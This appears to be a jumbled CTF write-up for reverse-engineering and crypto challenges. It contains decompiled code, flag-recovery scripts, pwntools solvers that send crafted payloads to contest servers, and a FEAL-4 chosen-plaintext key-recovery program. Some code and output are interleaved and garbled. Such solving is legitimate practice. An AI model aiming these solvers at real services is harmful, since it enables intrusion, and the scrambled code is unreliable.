[ebp-180h] int v12; // [esp+10h] [ebp-17Ch] int v13; // [esp+14h] [ebp-178h] int v14; // [esp+18h] [ebp-174h] int v15; // [esp+1Ch] [ebp-170h] int v16; // [esp+20h] [ebp-16Ch] int v17; // [esp+24h] [ebp-168h] int v18; // [esp+28h] [ebp-164h] int v19; // [esp+2Ch] [ebp-160h] int v20; // [esp+30h] [ebp-15Ch] char v21; // [esp+34h] [ebp-158h] char s[136]; // [esp+84h] [ebp-108h] int j; // [esp+184h] [ebp-8h] matrix.idb check_mat a1 + a3 + a4 + a5 + a7 == C1 a0 + a2 + a4 + a6 + a8 == C2 int i; // [esp+188h] [ebp-4h] printf(format); _isoc99_scanf(a255s, s); v19 = strlen(s); for ( i = ((((dword_13298 << 7) ^ 0x6B1C9011) - 1357752438) << 6) + 2130876736; i < v19 / (int)(((4 * ((dword_1328C - 2139265556) ^ 0x2354583E)) ^ 0xC54345AD) - 1189292331); i += (((unsigned int)dword_13294 >> 1) ^ 0xFD2F57CB) + 614631013 ) { v3 = 16 * (s[2 * i] - ((((8 * (dword_1328C ^ 0x646E5437u) + 124976640) >> 3) ^ 0x81AAAA88) + 1986772451)); v18 = (int )((char )&v20 + i + 3); ((_BYTE )&v20 + i + 3) = (s[2 * i + 778599960 + dword_13284] - (((dword_13284 - 80) ^ 0x16) - 95)) \| v3; } ((_BYTE )&v20 + v19 / (((dword_1328C - 1039889880 + 1491743034) ^ 0x4DB7C173) + 744859163) + 3) = (((_BYTE)dword_13294 << 6) ^ 0x57) + 105; sub_39C7((char )&v20 + 3); if ( check_mat() ) { memset( &v11, 8 (((16 * dword_13284) ^ 0xB0E8C2F1) + 1916836143) + 561271680, (((2 * ((unsigned int)(2 * dword_13288) >> 2)) ^ 0xD639A2D1) >> 7) - 18760303); for ( i = ((8 * ((unsigned int)(dword_13280 - 252287816) >> 7)) >> 1) - 101873648; i < (int)((((((unsigned int)dword_13288 >> 7) - 1619149996) << 6) ^ 0x68E5C3CE) - 1662946120); i += ((((dword_1329C + 1217304571) ^ 0xBF268809) + 1057211968) ^ 0x6721ADDD) + 568241494 ) { v6 = ((((unsigned int)dword_1328C >> 5) ^ 0xA9E12912) >> 6) - 45605759; v10 = off_13200[i]; v8 = (int)(&off_13218 + i); for ( j = (((dword_13294 ^ 0x6B4503A8u) >> 3) ^ 0x8AA18B73) + 1906990957; j < ((8 dword_13290 - 756214151) ^ 0x131CE6BA) - 75223170; j += (((unsigned int)dword_13298 >> 1) ^ 0x42CEB488) - 808933765 ) { v6 += (_DWORD )(4 * j + v8) * v10[j]; } (&v11 + i) = v6; } printf(aHereIsYourFlag, &v11); } else { puts(::s); } return 8 ((dword_13288 - 1857398597 + 477812571) ^ 0x877E6FB3) - 218351504; } #include <iostream> #include <vector> int dword_131D0[12] = { 3565280580, 3865899232, 1820743261, 4016843373, 3513787146, 2438574441, 1036979519, 3644006006, 1684609776, 3690169551, 111033914, 1898110541 }; int mat1[] = { 4261284769, 2593214546, 3379508519, 4112523213, 4264750479, 3683532537, 85915988, 4263608092, 2066983099, 2633565089, 3280069325, 582179812, 1162929838, 3701378876, 2847166127, 863127658, 1362272088, 1596933486, 2606062088, 3944383785, 2600505476, 2601220870, 2573726481, 2449150891, 412426806, 1870371093, 3990476497, 4217896481, 630788528, 1036316276, 2559799280, 3748987598, 3286175766, 3155304697, 4115431692, 1901749068, 1041643430, 2163243917, 4221346961, 2904902702, 4216979759, 451892609, 3117159249, 2587579245, 3179261711, 4103788675, 46486308, 2210148869, 1132749441, 423109704, 4208667416, 2469777797, 2496053082, 1494648238 }; #include <stdio.h> void combinationUtil(int arr[], int n, int r, int index, int data[], int i); // The main function that prints all combinations of // size r in arr[] of size n. This function mainly // uses combinationUtil() void printCombination(int arr[], int n, int r) { // A temporary array to store all combination // one by one std::vector<int> data; data.reserve(r); // Print all combination using temprary array 'data[]' combinationUtil(arr, n, r, 0, data.data(), 0); } /* arr[] ---> Input Array n ---> Size of input array r ---> Size of a combination to be printed index ---> Current index in data[] data[] ---> Temporary array to store current combination i ---> index of current element in arr[] / void combinationUtil(int arr[], int n, int r, int index, int data[], int i) { // Current cobination is ready, print it if (index == r) { int v1 = data; for (int i = 0; i < sizeof(dword_131D0) / 4; i++) { if (v1[0] + v1[1] + v1[2] + v1[3] + v1[4] == dword_131D0[i]) { printf("Found %d: %x = ", i, dword_131D0[i]); for (int j = 0; j < r; j++) printf("%x ", data[j]); printf("\n"); } } return; } // When no more elements are there to put in data[] if (i >= n) return; // current is included, put next at next location data[index] = arr[i]; combinationUtil(arr, n, r, index + 1, data, i + 1); // current is excluded, replace it with next // (Note that i+1 is passed, but index is not // changed) combinationUtil(arr, n, r, index, data, i + 1); } // Driver program to test above functions int main() { Found 0: d481dd44 = fdfe0ba1 7b33a8bb 3dc4ee74 df7502ce 3e1637a6 Found 1: e66cf0e0 = 51329f58 6f7b9915 df7502ce 2c55324 43846281 Found 2: 6c86565d = c96f3527 51ef954 9967f311 715a634c 9335d185 Found 3: ef6c2a6d = f5201fcd db8e3ef9 eb1a8529 9967f311 9a3b536d Found 4: d170230a = dc9e8f3c 9b009084 18952236 bd7faf0f 83bc3205 Found 5: 9159b169 = c381e2cd dc9e8f3c 98936ﬀ0 c3df1016 94c6bf5a Found 5: 9159b169 = c96f3527 22b35be4 f54c810c ad254c2e 2c55324 Found 6: 3dcf0d3f = fe32ed8f 22b35be4 3372486a edd9d6d1 fb9ca491 Found 7: d9331e76 = fe32ed8f 91fb13ab 80f07b8d ad254c2e 1aef5581 Found 8: 64691af0 = 9cf903a1 9b555a08 b9cc1351 19382448 591685ae Found 9: dbf384cf = fe217f1c a9b44eaf 259911b0 f54c810c 19382448 Found 10: 69e3e3a = 5f2f456e fb67fe21 bc1220f9 fb5a012f f49ad883 Found 11: 7122de4d = 9a915052 4550e6ae 9b0b7b06 fb5a012f fadb2b1 13792468ﬂagﬂag CTF{7h1S_Cu63_is_m4g1c} fanoGo Status: Completed Tags: Reverse int r = 5; int n = sizeof(mat1) / sizeof(mat1[0]); printCombination(mat1, n, r); return 0; } import string a = ''' fdfe0ba1 7b33a8bb 3dc4ee74 3e1637a6 51329f58 6f7b9915 2c55324 43846281 df7502ce c96f3527 51ef954 715a634c 9335d185 f5201fcd db8e3ef9 eb1a8529 9a3b536d 9967f311 9b009084 18952236 bd7faf0f 83bc3205 c381e2cd 98936ff0 c3df1016 94c6bf5a dc9e8f3c 22b35be4 3372486a edd9d6d1 fb9ca491 91fb13ab 80f07b8d ad254c2e 1aef5581 fe32ed8f 9cf903a1 9b555a08 b9cc1351 591685ae fe217f1c a9b44eaf 259911b0 f54c810c 19382448 5f2f456e fb67fe21 bc1220f9 f49ad883 9a915052 4550e6ae 9b0b7b06 fadb2b18 fb5a012f ''' t = [[int(c, 16) for c in row.split()] for row in a.strip().split('\n')] t = [(row[0:4], row[4:8], row[8]) for row in t] ret = [] for ti in range(len(t)): cur = [] for l1 in itertools.permutations(t[ti][0]): for l2 in itertools.permutations(t[ti][1]): l = (l1[0], l2[0], l1[1], l2[1], t[ti][2], l2[2], l1[2], l2[3], l1[3]) c = sum([l[i] k[ti][i] & 0xFFFFFFFF for i in range(9)]) & 0xFFFFFFFF a = (chr(c & 0xff), chr((c >> 8) & 0xff), chr((c >> 16) & 0xff), chr((c >> 24) & 0xff)) for tchar in a: if not (tchar in string.letters or tchar in string.digits or tchar in '{}_,+'): break else: cur.append(''.join(a)) ret.append(cur) for c in ret: print c ['CTF', 'erkU'] ['Gj3o', '{7h1', 'KP6o', 'uk6W', '4gjL'] ['S_Cu', 'Xp,T', 'oeps'] ['63_i', 'ERNJ'] ['s_m4'] ['ukxG', 'uHnr', 'g1c}', '4nEE', 'YOcm', 'AkT6', 'YctL', 'VRae'] from pwn import * yy Status: Completed Tags: Reverse ﬂex scanner yy_ec : data = [ 0x2B, 0x60, 0xC3, 0xBE, 0xC2, 0xB7, 0xC2, 0x82, 0xC2, 0x89, 0xC3, 0x95, 0x5B, 0xC2, 0x87, 0x2A, 0x69, 0x13, 0xC2, 0x96, 0x51, 0xC3, 0xBD, 0x6F, 0x32, 0x28, 0x5A, 0xC3, 0x92, 0x74, 0xC2, 0x94, 0xC2, 0x94, 0xC2, 0x95, 0xC2, 0x96, 0xC2, 0xA4, 0xC3, 0x8A, 0xC2, 0xA3, 0xC3, 0x8E, 0xC2, 0xB3, 0x24, 0x24, 0x24, 0xC2, 0xBA, 0xC2, 0xAE, 0x46, 0x2B, 0xC2, 0xAC, 0x3C, 0xC3, 0xAB, 0x32, 0x23, 0x2A, 0xC3, 0xB0, 0xC3, 0xB3, 0xC2, 0xAC, 0xC3, 0x85, 0xC2, 0x87, 0x2C, 0xC2, 0xA3, 0x6B, 0xC2, 0xAD, 0x0F, 0xC3, 0x87, 0x5C, 0xC2, 0xA8, 0xC3, 0xB3, 0xC2, 0xAF, 0xC3, 0xA1, 0xC3, 0xB9, 0x12, 0xC3, 0x8A, 0x44, 0x72, 0xC2, 0xA6, 0xC2, 0x91, 0x66, 0x6D, 0x31, 0xC3, 0xA7, 0x51, 0x64, 0x67, 0x78, 0x75, 0x6B, 0xC2, 0x96, 0xC2, 0x91, 0x51, 0xC3, 0xA7, 0x3E, 0x13, 0xC3, 0x8E, 0x57, 0x7B, 0x47, 0xC2, 0x9D, 0x45, 0x7F, 0x29, 0x11, 0xC3, 0x95, 0xC3, 0xA1, 0xC3, 0xA7, 0x59, 0xC2, 0x8A, 0x06, 0xC2, 0x8C, 0xC2, 0x91, 0xC2, 0xB5, 0x0F, 0x3A, 0xC2, 0x8E, 0xC2, 0xBA, 0xC3, 0x8B, 0xC3, 0xAA, 0xC3, 0xA8, 0xC3, 0xBC, 0xC2, 0x8E, 0x71, 0xC3, 0xBD, 0x6F, 0x32, 0x36, 0xC3, 0xB9, 0x42, 0xC3, 0xA7, 0x49, 0xC3, 0x92, 0x22, 0x79, 0xC3, 0x89, 0xC3, 0x93, 0x54, 0x79, 0xC3, 0x96, 0x63, 0x6A, 0x1F, 0xC3, 0x96, 0xC3, 0xB3, 0x23, 0x6F, 0xC2, 0x94, 0x37, 0xC2, 0x94, 0xC3, 0xA8, 0x76, 0xC3, 0x83, 0xC3, 0x8E, 0x7C, 0x3F, 0xC2, 0xAD, 0xC3, 0xA0, 0xC2, 0x9F, 0x0C, 0xC2, 0xAA, 0x7B, 0xC3, 0x83, 0x26, 0xC2, 0xAD, 0xC3, 0xB0, 0x7E, 0x3A, 0xC3, 0xA5, 0x47, 0xC2, 0x9D, 0x7F, 0x09, 0xC3, 0xA5, 0x49, 0x44, 0xC2, 0xB0, 0xC2, 0xAF, 0x0F, 0x3A, 0xC3, 0x8C, 0x50, 0x51, 0xC3, 0xBD, 0x6F, 0x32, 0x2C, 0xC3, 0x8C, 0x2D, 0x27, 0x49, 0xC3, 0xA3, 0x2A, 0xC3, 0xB0, 0xC3, 0xB3, 0xC2, 0xAC, 0xC3, 0x88, 0xC2, 0x89, 0xC3, 0xB0, 0xC2, 0x9D, 0x7E, 0x1C, 0xC2, 0x9F, 0x29, 0x11, 0x41, 0x47, 0xC3, 0xB5, 0xC2, 0xBC, 0xC3, 0x88, 0xC2, 0x9A, 0x38, 0xC3, 0xB0, 0xC3, 0xA2, 0xC2, 0xB8, 0xC3, 0xA9, 0x15, 0xC3, 0x92, 0x50 ] p = remote('34.92.37.22', 10001) p.recv() pay = ''.join(map(chr, data)) print pay p.send(pay) p.interactive() ['\x00'] ['\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\t', '\x0b', '\x0c', '\r', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', ' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'D', 'E', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '`', '\|', '~', '\x7f', '\x80', '\x81', '\x82', '\x83', '\x84', '\x85', '\x86', '\x87', '\x88', '\x89', '\x8a', '\x8b', '\x8c', '\x8d', '\x8e', '\x8f', '\x90', '\x91', '\x92', '\x93', '\x94', '\x95', '\x96', '\x97', '\x98', '\x99', '\x9a', '\x9b', '\x9c', '\x9d', '\x9e', '\x9f', '\xa0', '\xa1', '\xa2', '\xa3', '\xa4', '\xa5', '\xa6', '\xa7', '\xa8', '\xa9', '\xaa', '\xab', '\xac', '\xad', '\xae', '\xaf', '\xb0', '\xb1', '\xb2', '\xb3', '\xb4', '\xb5', '\xb6', '\xb7', '\xb8', '\xb9', '\xba', '\xbb', '\xbc', '\xbd', '\xbe', '\xbf', '\xc0', '\xc1', '\xc2', '\xc3', '\xc4', '\xc5', '\xc6', '\xc7', '\xc8', '\xc9', '\xca', '\xcb', '\xcc', '\xcd', '\xce', '\xcf', '\xd0', '\xd1', '\xd2', '\xd3', '\xd4', '\xd5', '\xd6', '\xd7', '\xd8', '\xd9', '\xda', '\xdb', '\xdc', '\xdd', '\xde', '\xdf', '\xe0', '\xe1', '\xe2', '\xe3', '\xe4', '\xe5', '\xe6', '\xe7', '\xe8', '\xe9', '\xea', '\xeb', '\xec', '\xed', '\xee', '\xef', '\xf0', '\xf1', '\xf2', '\xf3', '\xf4', '\xf5', '\xf6', '\xf7', '\xf8', '\xf9', '\xfa', '\xfb', '\xfc', '\xfd', '\xfe', '\xff'] https://www.cs.uic.edu/~spopuri/cparser.html ['\n'] [''] ['0'] ['1'] ['2'] ['3'] ['4'] ['5'] ['6'] ['7'] ['8'] ['9'] ['C'] ['F'] ['T'] ['_'] ['a'] ['b'] ['c'] ['d'] ['e'] ['f'] ['g'] ['h'] ['i'] ['j'] ['k'] ['l'] ['m'] ['n'] ['o'] ['p'] ['q'] ['r'] ['s'] ['t'] ['u'] ['v'] ['w'] ['x'] ['y'] ['z'] ['{'] ['}'] 46 -> ? ? 47 -> ? 49 -> eps 48 -> ? ? ? ? 50 -> ? ? ? ? ? 51 -> ? 53 -> eps 52 -> ? ? ? 54 -> eps 54 -> ? ? 56 -> eps 55 -> ? ? ? 57 -> ? 57 -> ? ? 58 -> ? 58 -> ? 58 -> ? 0-9a-zbuﬀer _}buﬀerresultbuﬀer AES-128-CBC1600 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? 58 -> ? flag -> [CTF] [{] expr [}] expr -> expr [_] buff \| buff buff -> buff [a-z0-9] \| eps data = [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAE, 0x46, 0x14, 0xF8, 0x2A, 0x40, 0xCF, 0x50, 0x31, 0xD3, 0xFE, 0x04, 0x8C, 0x06, 0x12, 0x12, 0x23, 0xFA, 0xC7, 0x26, 0xE8, 0x61, 0xD9, 0xC3, 0xA9, 0x3C, 0x45, 0x70, 0x1A, 0xC7, 0xF0, 0x3D, 0xDF, 0xBE, 0xBC, 0x16, 0xAB, 0x6E, 0x37, 0xAC, 0x14, 0x8B, 0x9C, 0x94, 0xF7, 0x5D, 0x62, 0x78, 0xFC, 0x16, 0x98, 0x1D, 0xB2, 0x31, 0xD3, 0x5A, 0xDC, 0x3A, 0x60, 0x86, 0x9A, 0xCA, 0x7B, 0xA3, 0xB5, 0xD5, 0xF1, 0xB2, 0xD9, 0xFF, 0xD2, 0x09, 0xD4, 0x77, 0xD7, 0x3D, 0xC0, 0x56, 0x19, 0x02, 0xB6, 0x9B, 0x42, 0x6C, 0xE8, 0xA2, 0x77, 0xE3, 0x99, 0xAC, 0x32, 0x40, 0x91, 0xA9, 0x2A, 0x86, 0xF3, 0xFA, 0x47, 0x3C, 0xC3, 0x5C, 0x41, 0x9B, 0xE8, 0x05, 0x07, 0xD0, 0xD4, 0x30, 0x5A, 0x9E, 0x8D, 0x52, 0x9B, 0xA3, 0xFB, 0xAD, 0xB6, 0x44, 0x3F, 0x72, 0x83, 0x9C, 0x22, 0x77, 0xFE, 0x48, 0xFE, 0x86, 0x84, 0x12, 0x00, 0x4E, 0xED, 0xFF, 0xAC, 0x44, 0x19, 0x23, 0x84, 0x1F, 0x12, 0xCA ] ... Obfuscating Macros II Status: Completed Tags: Reverse sub_401006 1024 charsets = 'abcdefghijklmnopqrstuvwxyz0123456789' box = [ 0x82, 0x05, 0x86, 0x8A, 0x0B, 0x11, 0x96, 0x1D, 0x27, 0xA9, 0x2B, 0xB1, 0xF3, 0x5E, 0x37, 0x38, 0xC2, 0x47, 0x4E, 0x4F, 0xD6, 0x58, 0xDE, 0xE2, 0xE5, 0xE6, 0x67, 0x6B, 0xEC, 0xED, 0x6F, 0xF2, 0x73, 0xF5, 0x77, 0x7F ] boxx = ''.join(map(chr, box)) import string t = string.maketrans(boxx, charsets) cipher = ''.join(map(chr, data))[16:] from Crypto.Cipher import AES key = '2b7e151628aed2a6abf7158809cf4f3c'.decode('hex') iv = '\x00' * 16 aes = AES.new(key, AES.MODE_CBC, iv) plain = aes.decrypt(cipher).translate(t) for i in xrange(0, len(plain), 16): print plain[i:i+16] (v11+1) input.len == 16bytes a = 8bytes (v10) b = 8bytes (v9) ========LOOP_1024========= v11 = ~a (a & 1) v11 = b v11 ^= (~a) b = v11 a = ~a v11 = a & 0x8000000000000000 v5 = v11 a = 2 v11 = b & 0x8000000000000000 if (v11) ( true +1) a \|= 1 (2a+=1) b = 2 if (v5) ( true +1) b \|= 1 v11 = b v11 += a v23 = v11 tmp = b b = v23 a = tmp v11 = a & 0x8000000000000000 v5 = v11 a = 2 v11 = b & 0x8000000000000000 102410 python161024a == 0xA1E8895EB916B732 && b == 0x50A2DCC51ED6C4A2 (v11) ( true +1) a \|= 1 (2a+=1) b = 2 v11 = v5 (v5) ( true +1) b \|= 1 ================= import struct def not_num(a): return (~a & 0xffffffffffffffff) def do_overflow_qword(a): return (a & 0xffffffffffffffff) flag = "flag{abcdef0123}" a, b = struct.unpack("qq", flag) print "a: " + hex(a) print "b: " + hex(b) print "=========================" for i in range(1024): if not (a & 1): b ^= not_num(a) else: b ^= a a = not_num(a) v5 = a & 0x8000000000000000 a = 2 a = do_overflow_qword(a) if b & 0x8000000000000000: a \|= 1 b = 2 b = do_overflow_qword(b) if v5: b \|= 1 tmp = b b += a b = do_overflow_qword(b) a = tmp v5 = a & 0x8000000000000000 a = 2 a = do_overflow_qword(a) if b & 0x8000000000000000: a \|= 1 b = 2 b = do_overflow_qword(b) if v5: b \|= 1 print "a: " + hex(a) print "b: " + hex(b) print "=========================" #include <cstdio> #include <cstring> using namespace std; #define ll unsigned long long ll a = 0xa1e8895eb916b732uLL, b = 0x50a2dcc51ed6c4a2uLL; Crypto babyprng Status: Completed Tags: Crypto int main() { for (int i = 0; i < 1024; i++) { int flaga = 0, flagb = 0; if (b & 1) { flaga = 1; } else { flaga = 0; } if (a & 1) { flagb = 1; } else { flagb = 0; } if (flagb) { b = b / 2 + 0x8000000000000000; } else { b = b / 2; } if (flaga) { a = a / 2 + 0x8000000000000000; } else { a = a / 2; } //printf("%llx %llx\n", a, b); ll tmp = a; a = b - a; b = tmp; if (b & 1) { flaga = 1; } else { flaga = 0; } if (a & 1) { flagb = 1; } else { flagb = 0; } if (flagb) { b = b / 2 + 0x8000000000000000; } else { b = b / 2; } if (flaga) { a = a / 2 + 0x8000000000000000; } else { a = a / 2; } //printf("%llx %llx\n", a, b); a = ~a; if (a & 1) b ^= a; else b ^= ~a; } printf("%llx %llx\n", a, b); } from hashlib import sha256 babyprng2 Status: Completed Tags: Crypto Prng1 notcurves from pwn import * import string def proof_of_work(postfix,res): for a in table: for b in table: for c in table: for d in table: if sha256(a+b+c+d+postfix).hexdigest() == res: return a+b+c+d table = string.ascii_letters+string.digits num = 10 code = '\x01\x12\x02\x34'+'\x00'num code += '\x01\x11\x12\x02\x35'+'\x00'num + '\x4E' codeh = code.encode('hex') context.log_level = 'debug' io = remote('34.92.185.118', 10002) proof = io.recv().strip() postfix, res = proof.split("==") res = res.strip() postfix = postfix.split('+')[1].split(')')[0] io.sendline(proof_of_work(postfix,res)) io.sendline(codeh) io.interactive() from hashlib import sha256 from pwn import * import string def proof_of_work(postfix,res): for a in table: for b in table: for c in table: for d in table: if sha256(a+b+c+d+postfix).hexdigest() == res: return a+b+c+d table = string.ascii_letters + string.digits code = '\x01\x12\x05\x34\x00\x11' code += chr(6 + 0x30 + 1) code += '\x01\x11\x12\x05\x35\x00' code += chr(6 + 0x30 + 2) codeh = code.encode('hex') context.log_level = 'debug' io = remote('34.92.185.118', 10003) proof = io.recv().strip() postfix, res = proof.split("==") res = res.strip() postfix = postfix.split('+')[1].split(')')[0] io.sendline(proof_of_work(postfix, res)) io.sendline(codeh) io.interactive() Status: Completed Tags: Crypto u=v=0 notfeal Status: Completed Tags: Crypto FEAL-4 ffhttp://theamazingking.com/crypto-feal.php //Differential Cryptanalysis of FEAL-4 //Uses a chosen-plaintext attack to fully recover the key //For use with tutorial at http://theamazingking.com/crypto-feal.php #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <math.h> #include <stdlib.h> #include <time.h> #define MAX_CHOSEN_PAIRS 10000 #define ROTATE_LEFT(x, n) (((x) << (n)) \| ((x) >> (32-(n)))) int winner = 0; int loser = 0; unsigned long subkey[6]; unsigned char rotl2(unsigned char a) { return ((a << 2) \| (a >> 6)); } unsigned long leftHalf(unsigned long long a) { return (a >> 32LL); } unsigned long rightHalf(unsigned long long a) { return a; } unsigned char sepByte(unsigned long a, unsigned char index) { return a >> (8 * index); } unsigned long combineBytes(unsigned char b3, unsigned char b2, unsigned char b1, unsigned char b0) { return b3 << 24L \| (b2 << 16L) \| (b1 << 8L) \| b0; } unsigned long long combineHalves(unsigned long leftHalf, unsigned long rightHalf) { return (((unsigned long long)(leftHalf)) << 32LL) \| (((unsigned long long)(rightHalf)) & 0xFFFFFFFFLL); } unsigned char gBox(unsigned char a, unsigned char b, unsigned char mode) { return rotl2(a + b + mode); } unsigned long fBox(unsigned long plain) { unsigned char x0 = sepByte(plain, 3); unsigned char x1 = sepByte(plain, 2); unsigned char x2 = sepByte(plain, 1); unsigned char x3 = sepByte(plain, 0); unsigned char t0 = (x2 ^ x3); unsigned char y1 = gBox(x0 ^ x1, t0, 1); unsigned char y0 = gBox(x0, y1, 0); unsigned char y2 = gBox(t0, y1, 0); unsigned char y3 = gBox(x3, y2, 1); return combineBytes(y3, y2, y1, y0); } unsigned long long encrypt(unsigned long long plain) { unsigned long left = leftHalf(plain); unsigned long right = rightHalf(plain); left = left ^ subkey[4]; right = right ^ subkey[5]; unsigned long round1Left = left; unsigned long round1Right = left ^ right; unsigned long round2Right = round1Left; unsigned long round2Left = round1Right ^ fBox(round1Left ^ subkey[0]); unsigned long round3Right = round2Left; unsigned long round3Left = round2Right ^ fBox(round2Left ^ subkey[1]); unsigned long round4Right = round3Left; unsigned long round4Left = round3Right ^ fBox(round3Left ^ subkey[2]); unsigned long cipherRight = round4Left; unsigned long cipherLeft = round4Right ^ fBox(round4Left ^ subkey[3]); unsigned long outRight = cipherLeft ^ cipherRight; unsigned long outLeft = cipherRight; return combineHalves(outLeft, outRight); } void generateSubkeys(int seed) { srand(seed); int c; for (c = 0; c < 6; c++) subkey[c] = (rand() << 16L) \| (rand() & 0xFFFFL); //int c; //for (c = 0; c < 6; c++) // subkey[c] = c; } int numPlain; unsigned long long plain0[MAX_CHOSEN_PAIRS]; unsigned long long cipher0[MAX_CHOSEN_PAIRS]; unsigned long long plain1[MAX_CHOSEN_PAIRS]; unsigned long long cipher1[MAX_CHOSEN_PAIRS]; unsigned long long plain01_table[] = { 0x3d5206220939ae1f, 0x3d52062209392e9f, 0xdf2a0443338dab42, 0xdf2a0443338d2bc2, 0x68c980299db83129, 0x68c980299db8b1a9, 0xb5a033b18ea363ab, 0xb5a033b18ea3e32b, 0x6b30c4266bebf24e, 0x6b30c4266beb72ce, 0xa4436f5e66a07a38, 0xa4436f5e66a0fab8, 0xa62827df80fa3d4b, 0xa62827df80fabdcb, 0x7c7fab76e6dfb9d1, 0x7c7fab76e6df3951, 0x2304e8e6bf1e4703, 0x23046866bf1ec783, 0x3d4f8a08bbd50cde, 0x3d4f0a88bbd58c5e, 0xa1517dbae25d1520, 0xa151fd3ae25d95a0, 0x26aef452d29f96b1, 0x26ae74d2d29f1631, 0xb271f3842b0e0175, 0xb27173042b0e81f5, 0x2a5d61cfd1c85df6, 0x2a5de14fd1c8dd76, 0x9fd9ba12ae068cd9, 0x9fd93a92ae060c59, 0x25c6169cb5f248cb, 0x25c6961cb5f2c84b, 0x3fcd4a25764f85de, 0x3dcd4a25764f055e, 0x08cc65f7a511a49d, 0x0acc65f7a511241d, 0xe647b6b09a26a382, 0xe447b6b09a262302, 0xeec970446ce9972d, 0xecc970446ce917ad, 0xe334f20fa41f9984, 0xe134f20fa41f1904, 0xcd7fa1c8c3223065, 0xcf7fa1c8c322b0e5, 0x26da81aea39fec71, 0x24da81aea39f6cf1, 0x76bfd9184a7bb68c, 0x74bfd9184a7b360c, }; unsigned long long cipher01_table[] = { 0xd519c92bee64534d, 0x553951f3b35d498d, 0x13ddfd9985eba18d, 0x923d65c1313cb4cd, 0xe4819107902c6ecc, 0x64e119efa2c8e722, 0xc530315d5460f8a7, 0x45d0b9a5ec4a32a5, 0x3d473e36e7ff4bde, 0xbd27b65e0e11c0b0, 0x6024579832c9e8ca, 0xdfc5dff0958639c1, 0x7503b7422e11977c, 0xf6232fea4697f0bd, 0x7a0688242c7956fa, 0xfb26008ca3e2e0bc, 0x511e30dfb1053a2a, 0x6449b82e089c26bf, 0x8dccb57184124fb5, 0x3971b67774da9449, 0xa0dd85217c9f44db, 0x2dd4071916e1e5f8, 0x45ed8bde5e940ae8, 0x17213c1d5f975c74, 0x4ed949c4752e0947, 0xcd414bce9ac7bfe8, 0x285e697bab2b4f12, 0x9b0aaa8eff55e828, 0x8076c178f2c0c196, 0x13f2c2660bfc91da, 0x8b320c52c5fc9233, 0x6b724c53eda1de38, 0x11c471b0a805c06a, 0x12fe24316c72e5df, 0x1f59c991fdb92089, 0x836b96943c1b85a3, 0xdee269e9a45ee404, 0xf38f372b0798728b, 0x5a0fc1c3437fe612, 0x1c661a04ecc11263, 0x5b33dc58cb083d61, 0x8dcc6b2e85bff9b4, 0x5e57c31ef8356efe, 0x69b041b9e97e2608, 0x779a54757f684f25, 0xf0150d1387c83446, 0x01e624b1e6999ae1, 0xcea291e6637a304c, }; void undoFinalOperation() { int c; for (c = 0; c < numPlain; c++) { unsigned long cipherLeft0 = leftHalf(cipher0[c]); unsigned long cipherRight0 = rightHalf(cipher0[c]) ^ cipherLeft0; unsigned long cipherLeft1 = leftHalf(cipher1[c]); unsigned long cipherRight1 = rightHalf(cipher1[c]) ^ cipherLeft1; cipher0[c] = combineHalves(cipherRight0, cipherLeft0); cipher1[c] = combineHalves(cipherRight1, cipherLeft1); } } unsigned long crackLastRound(unsigned long outdiff) { printf(" Using output differential of 0x%08x\n", outdiff); printf(" Cracking..."); unsigned long fakeK; for (fakeK = 0x00000000L; fakeK < 0xFFFFFFFFL; fakeK++) { int score = 0; int c; for (c = 0; c < numPlain; c++) { unsigned long cipherLeft = (cipher0[c] >> 32LL); cipherLeft ^= (cipher1[c] >> 32LL); unsigned long cipherRight = cipher0[c] & 0xFFFFFFFFLL; cipherRight ^= (cipher1[c] & 0xFFFFFFFFLL); unsigned long Y = cipherLeft; unsigned long Z = cipherLeft ^ outdiff; unsigned long fakeRight = cipher0[c] & 0xFFFFFFFFLL; unsigned long fakeLeft = cipher0[c] >> 32LL; unsigned long fakeRight2 = cipher1[c] & 0xFFFFFFFFLL; unsigned long fakeLeft2 = cipher1[c] >> 32LL; unsigned long Y0 = fakeRight; unsigned long Y1 = fakeRight2; unsigned long fakeInput0 = Y0 ^ fakeK; unsigned long fakeInput1 = Y1 ^ fakeK; unsigned long fakeOut0 = fBox(fakeInput0); unsigned long fakeOut1 = fBox(fakeInput1); unsigned long fakeDiff = fakeOut0 ^ fakeOut1; if (fakeDiff == Z) score++; else break; } if (score == numPlain) { printf("found subkey : 0x%08lx\n", fakeK); return fakeK; } } printf("failed\n"); return 0; } void printHexString(unsigned long long buf) { printf("%016llx", buf); } unsigned long long readHexString() { unsigned long long ret = 0; char buf[0x200] = { 0 }; scanf("%s", buf); for (int i = 0; i < 16; i++) { if (buf[i] >= '0' && buf[i] <= '9') ret = (ret << 4) \| ((buf[i] - '0') & 0xF); else if (buf[i] >= 'A' && buf[i] <= 'F') ret = (ret << 4) \| ((buf[i] - 'A' + 10) & 0xF); else if (buf[i] >= 'a' && buf[i] <= 'f') ret = (ret << 4) \| ((buf[i] - 'a' + 10) & 0xF); else return -1; } return ret; } int SPECIAL_CONST = 0; void chosenPlaintext(unsigned long long diff) { printf(" Generating %i chosen-plaintext pairs\n", numPlain); printf(" Using input differential of 0x%016llx\n", diff); unsigned long long* arr = NULL; unsigned long long* arr1 = NULL; if (diff == 0x0000000000008080LL) { arr = &plain01_table[0]; arr1 = &cipher01_table[0]; } else if (diff == 0x0000808000008080LL) { 